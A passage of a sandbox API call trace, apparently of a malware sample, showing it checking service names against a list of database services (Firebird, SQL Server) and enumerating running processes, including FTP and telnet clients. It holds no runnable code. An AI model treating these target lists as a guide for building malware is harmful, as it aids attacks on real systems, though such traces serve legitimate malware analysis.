	[0089.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0089.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0089.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0089.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0089.706] lstrlenW (lpString="SecurityHealthService") returned 21
	[0089.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0089.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0089.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0089.707] lstrlenW (lpString="SENS") returned 4
	[0089.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0089.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0089.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0089.707] lstrlenW (lpString="ShellHWDetection") returned 16
	[0089.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0089.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0089.707] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0089.707] lstrlenW (lpString="Spooler") returned 7
	[0089.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0089.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0089.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0089.707] lstrlenW (lpString="SSDPSRV") returned 7
	[0089.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0089.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0089.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0089.707] lstrlenW (lpString="StateRepository") returned 15
	[0089.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0089.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0089.707] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0089.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0089.708] lstrlenW (lpString="SysMain") returned 7
	[0089.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0089.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0089.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0089.708] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0089.708] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x32b4288 | out: hHeap=0x720000) returned 1
	[0089.708] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358
	[0089.714] Process32FirstW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0090.078] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0090.090] lstrlenW (lpString="System") returned 6
	[0090.106] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0090.106] lstrlenW (lpString="smss.exe") returned 8
	[0090.106] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0090.107] lstrlenW (lpString="csrss.exe") returned 9
	[0090.107] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0090.107] lstrlenW (lpString="wininit.exe") returned 11
	[0090.107] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0090.108] lstrlenW (lpString="csrss.exe") returned 9
	[0090.108] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0090.109] lstrlenW (lpString="winlogon.exe") returned 12
	[0090.109] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0090.109] lstrlenW (lpString="services.exe") returned 12
	[0090.109] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0090.110] lstrlenW (lpString="lsass.exe") returned 9
	[0090.110] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.110] lstrlenW (lpString="svchost.exe") returned 11
	[0090.110] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0090.111] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0090.111] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0090.112] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0090.112] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.112] lstrlenW (lpString="svchost.exe") returned 11
	[0090.112] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0090.113] lstrlenW (lpString="dwm.exe") returned 7
	[0090.113] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.113] lstrlenW (lpString="svchost.exe") returned 11
	[0090.113] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.114] lstrlenW (lpString="svchost.exe") returned 11
	[0090.114] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.114] lstrlenW (lpString="svchost.exe") returned 11
	[0090.114] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.115] lstrlenW (lpString="svchost.exe") returned 11
	[0090.115] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.115] lstrlenW (lpString="svchost.exe") returned 11
	[0090.116] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.116] lstrlenW (lpString="svchost.exe") returned 11
	[0090.116] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.117] lstrlenW (lpString="svchost.exe") returned 11
	[0090.117] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.117] lstrlenW (lpString="svchost.exe") returned 11
	[0090.117] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.118] lstrlenW (lpString="svchost.exe") returned 11
	[0090.118] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.118] lstrlenW (lpString="svchost.exe") returned 11
	[0090.118] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0090.119] lstrlenW (lpString="spoolsv.exe") returned 11
	[0090.119] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.119] lstrlenW (lpString="svchost.exe") returned 11
	[0090.120] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0090.120] lstrlenW (lpString="audiodg.exe") returned 11
	[0090.120] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0090.121] lstrlenW (lpString="sihost.exe") returned 10
	[0090.121] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.121] lstrlenW (lpString="svchost.exe") returned 11
	[0090.121] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0090.122] lstrlenW (lpString="taskhostw.exe") returned 13
	[0090.122] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0090.123] lstrlenW (lpString="explorer.exe") returned 12
	[0090.123] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0090.123] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0090.123] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0090.124] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0090.124] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0090.124] lstrlenW (lpString="Memory Compression") returned 18
	[0090.124] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0090.125] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0090.125] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0090.125] lstrlenW (lpString="SearchUI.exe") returned 12
	[0090.125] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0090.126] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0090.126] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0090.127] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0090.127] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0090.127] lstrlenW (lpString="pending.exe") returned 11
	[0090.127] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0090.128] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0090.128] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0090.128] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0090.128] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0090.129] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0090.129] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0090.129] lstrlenW (lpString="search.exe") returned 10
	[0090.129] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0090.130] lstrlenW (lpString="compatibility.exe") returned 17
	[0090.130] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0090.130] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0090.131] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0090.131] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0090.131] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0090.132] lstrlenW (lpString="try.exe") returned 7
	[0090.132] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0090.132] lstrlenW (lpString="consultancy.exe") returned 15
	[0090.132] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0090.133] lstrlenW (lpString="especially.exe") returned 14
	[0090.133] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0090.133] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0090.133] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0090.134] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0090.134] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0090.134] lstrlenW (lpString="modules.exe") returned 11
	[0090.135] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0090.135] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0090.135] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0090.136] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0090.136] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0090.136] lstrlenW (lpString="3dftp.exe") returned 9
	[0090.136] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0090.658] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0090.658] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0090.659] lstrlenW (lpString="alftp.exe") returned 9
	[0090.659] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0090.660] lstrlenW (lpString="barca.exe") returned 9
	[0090.660] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0090.660] lstrlenW (lpString="bitkinex.exe") returned 12
	[0090.661] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0090.661] lstrlenW (lpString="coreftp.exe") returned 11
